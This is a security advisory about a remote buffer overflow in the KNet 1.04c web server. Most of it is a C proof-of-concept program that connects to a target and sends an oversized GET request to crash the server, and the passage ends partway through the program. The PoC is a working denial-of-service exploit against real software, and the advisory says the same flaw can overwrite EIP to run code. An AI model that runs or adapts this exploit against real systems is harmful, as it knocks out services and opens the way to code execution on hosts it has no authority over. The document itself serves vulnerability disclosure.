Summary
KNet is "a small, functioning, web server that you can use to host a website from your very own hard drive".

A malicious attacker can send an arbitrarily long GET request that will cause the overwriting of the EIP register, which can in turn be used to execute malicious code.

Credit:
The information has been provided by CorryL.

Details
Vulnerable Systems:
* Knet 1.04c

Exploit:
/*
KNet <= 1.04c is affected to a remote buffer overflow in GET command.
This PoC demostrate the vulnerability.

KNet <= 1.04c PoC Denial Of Service Coded by: Expanders

Usage: ./x0n3-h4ck_Knet-DoS.c <Host> <Port>

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

struct sockaddr_in trg;
struct hostent *he;
long addr;
int sockfd, buff,rc;
char evilbuf[1024];
char buffer[1024];
char *request;
if(argc < 3 ) {
help(argv[0]);
exit(0);
}
printf("\n\n-=[ KNet <= 1.04c PoC DoS ::: Coded by Expanders ]=-\n");
he = gethostbyname(argv[1]);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
request = (char *) malloc(12344);
trg.sin_family = AF_INET;
trg.sin_port = htons(atoi(argv[2]));
trg.sin_addr = *((struct in_addr *) he->h_addr);
memset(&(trg.sin_zero), '\0', 8);
printf("\n\nConnecting to target \t...");
rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
if(rc==0)
{
printf("[Done]\nBuilding evil buffer\t...");
memset(evilbuf,90,1023);
printf("[Done]\nSending evil request \t...");
sprintf(request,"GET %s \n\r\n\r",evilbuf);
send(sockfd,request,strlen(request),0);
printf("[Done]\n\n[Finished] Check the server now\n");
}
else
printf("[Fail] -> Unable to connect\n\n");
close(sockfd);
return 0;

}

void help(char *program_name) {